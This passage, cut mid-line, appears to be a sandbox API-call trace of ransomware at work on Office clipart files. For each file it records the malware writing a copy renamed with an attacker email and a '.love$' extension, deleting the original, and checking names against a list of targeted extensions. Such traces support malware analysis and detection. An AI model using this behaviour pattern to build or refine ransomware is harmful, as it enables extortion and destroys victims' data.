lpOverlapped=0x0) returned 1 [0234.971] SetEndOfFile (hFile=0x488) returned 1 [0234.971] CloseHandle (hObject=0x488) returned 1 [0234.971] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.971] SetEndOfFile (hFile=0x3bc) returned 1 [0234.974] CloseHandle (hObject=0x3bc) returned 1 [0234.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0234.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0234.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0234.976] lstrlenW (lpString=".doc") returned 4 [0234.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.976] lstrlenW (lpString=".docx") returned 5 [0234.976] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.976] lstrlenW (lpString=".pdf") returned 4 [0234.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.976] lstrlenW (lpString=".xls") returned 4 [0234.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.976] lstrlenW (lpString=".xlsx") returned 5 [0234.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.976] lstrlenW (lpString=".ppt") returned 4 [0234.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0234.976] lstrlenW (lpString=".zip") returned 4 [0234.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.976] lstrlenW (lpString=".rar") returned 4 [0234.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.976] lstrlenW (lpString=".bz2") returned 4 [0234.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.976] lstrlenW (lpString=".7z") returned 3 [0234.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0234.976] lstrlenW (lpString=".dbf") returned 4 [0234.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0234.976] lstrlenW (lpString=".1cd") returned 4 [0234.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0234.976] lstrlenW (lpString=".jpg") returned 4 [0234.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0234.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0234.977] lstrlenW (lpString=".doc") returned 4 [0234.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.977] lstrlenW (lpString=".docx") returned 5 [0234.977] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.977] lstrlenW (lpString=".pdf") returned 4 [0234.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.977] lstrlenW (lpString=".xls") returned 4 [0234.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.977] lstrlenW (lpString=".xlsx") returned 5 [0234.977] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.977] lstrlenW (lpString=".ppt") returned 4 [0234.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0234.977] lstrlenW (lpString=".zip") returned 4 [0234.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.977] lstrlenW (lpString=".rar") returned 4 [0234.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.977] lstrlenW (lpString=".bz2") returned 4 [0234.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.977] lstrlenW (lpString=".7z") returned 3 [0234.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0234.977] lstrlenW (lpString=".dbf") returned 4 [0234.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0234.977] lstrlenW (lpString=".1cd") returned 4 [0234.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0234.977] lstrlenW (lpString=".jpg") returned 4 [0234.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.978] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.978] lstrlenW (lpString="BL00526_.WMF") returned 12 [0234.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.979] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=27552) returned 1 [0234.979] CloseHandle (hObject=0x3bc) returned 1 [0234.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x220 [0234.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.980] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.980] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0234.981] GetLastError () returned 0x0 [0234.981] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x6ba0, lpOverlapped=0x0) returned 1 [0234.984] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x6bb0, lpOverlapped=0x0) returned 1 [0234.985] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.985] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.985] SetEndOfFile (hFile=0x488) returned 1 [0234.986] CloseHandle (hObject=0x488) returned 1 [0234.986] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.986] SetEndOfFile (hFile=0x3bc) returned 1 [0235.470] CloseHandle (hObject=0x3bc) returned 1 [0235.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0235.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0235.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0235.521] lstrlenW (lpString=".doc") returned 4 [0235.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.521] lstrlenW (lpString=".docx") returned 5 [0235.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.521] lstrlenW (lpString=".pdf") returned 4 [0235.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.521] lstrlenW (lpString=".xls") returned 4 [0235.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.521] lstrlenW (lpString=".xlsx") returned 5 [0235.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.521] lstrlenW (lpString=".ppt") returned 4 [0235.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0235.521] lstrlenW (lpString=".zip") returned 4 [0235.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.522] lstrlenW (lpString=".rar") returned 4 [0235.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.522] lstrlenW (lpString=".bz2") returned 4 [0235.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.522] lstrlenW (lpString=".7z") returned 3 [0235.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0235.522] lstrlenW (lpString=".dbf") returned 4 [0235.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0235.522] lstrlenW (lpString=".1cd") returned 4 [0235.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0235.522] lstrlenW (lpString=".jpg") returned 4 [0235.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0235.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0235.522] lstrlenW (lpString=".doc") returned 4 [0235.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.522] lstrlenW (lpString=".docx") returned 5 [0235.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.522] lstrlenW (lpString=".pdf") returned 4 [0235.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.522] lstrlenW (lpString=".xls") returned 4 [0235.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.522] lstrlenW (lpString=".xlsx") returned 5 [0235.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.523] lstrlenW (lpString=".ppt") returned 4 [0235.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0235.523] lstrlenW (lpString=".zip") returned 4 [0235.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.523] lstrlenW (lpString=".rar") returned 4 [0235.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.523] lstrlenW (lpString=".bz2") returned 4 [0235.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.523] lstrlenW (lpString=".7z") returned 3 [0235.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0235.523] lstrlenW (lpString=".dbf") returned 4 [0235.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0235.523] lstrlenW (lpString=".1cd") returned 4 [0235.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0235.523] lstrlenW (lpString=".jpg") returned 4 [0235.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.524] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.524] lstrlenW (lpString="BS00100_.WMF") returned 12 [0235.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.525] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2378) returned 1 [0235.525] CloseHandle (hObject=0x3bc) returned 1 [0235.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220 [0235.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.525] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.526] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.527] GetLastError () returned 0x0 [0235.527] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x94a, lpOverlapped=0x0) returned 1 [0235.529] WriteFile (in: hFile=0x4bc, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x950, lpOverlapped=0x0) returned 1 [0235.530] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.530] WriteFile (in: hFile=0x4bc, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.530] SetEndOfFile (hFile=0x4bc) returned 1 [0235.530] CloseHandle (hObject=0x4bc) returned 1 [0235.531] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.531] SetEndOfFile (hFile=0x3bc) returned 1 [0235.534] CloseHandle (hObject=0x3bc) returned 1 [0235.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0235.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0235.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0235.536] lstrlenW (lpString=".doc") returned 4 [0235.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.536] lstrlenW (lpString=".docx") returned 5 [0235.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.536] lstrlenW (lpString=".pdf") returned 4 [0235.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.536] lstrlenW (lpString=".xls") returned 4 [0235.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.536] lstrlenW (lpString=".xlsx") returned 5 [0235.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.536] lstrlenW (lpString=".ppt") returned 4 [0235.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0235.536] lstrlenW (lpString=".zip") returned 4 [0235.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.536] lstrlenW (lpString=".rar") returned 4 [0235.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.536] lstrlenW (lpString=".bz2") returned 4 [0235.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.536] lstrlenW (lpString=".7z") returned 3 [0235.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0235.536] lstrlenW (lpString=".dbf") returned 4 [0235.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0235.537] lstrlenW (lpString=".1cd") returned 4 [0235.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0235.537] lstrlenW (lpString=".jpg") returned 4 [0235.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0235.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0235.537] lstrlenW (lpString=".doc") returned 4 [0235.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.537] lstrlenW (lpString=".docx") returned 5 [0235.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.537] lstrlenW (lpString=".pdf") returned 4 [0235.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.537] lstrlenW (lpString=".xls") returned 4 [0235.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.537] lstrlenW (lpString=".xlsx") returned 5 [0235.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.537] lstrlenW (lpString=".ppt") returned 4 [0235.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0235.537] lstrlenW (lpString=".zip") returned 4 [0235.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.537] lstrlenW (lpString=".rar") returned 4 [0235.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.537] lstrlenW (lpString=".bz2") returned 4 [0235.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.537] lstrlenW (lpString=".7z") returned 3 [0235.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0235.537] lstrlenW (lpString=".dbf") returned 4 [0235.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0235.537] lstrlenW (lpString=".1cd") returned 4 [0235.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0235.538] lstrlenW (lpString=".jpg") returned 4 [0235.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.538] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.538] lstrlenW (lpString="BS00135_.WMF") returned 12 [0235.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.539] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1044) returned 1 [0235.539] CloseHandle (hObject=0x3bc) returned 1 [0235.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220 [0235.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.539] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.539] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.540] GetLastError () returned 0x0 [0235.540] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x414, lpOverlapped=0x0) returned 1 [0235.620] WriteFile (in: hFile=0x4bc, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x420, lpOverlapped=0x0) returned 1 [0235.621] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.622] WriteFile (in: hFile=0x4bc, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.622] SetEndOfFile (hFile=0x4bc) returned 1 [0235.622] CloseHandle (hObject=0x4bc) returned 1 [0235.622] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.622] SetEndOfFile (hFile=0x3bc) returned 1 [0235.626] CloseHandle (hObject=0x3bc) returned 1 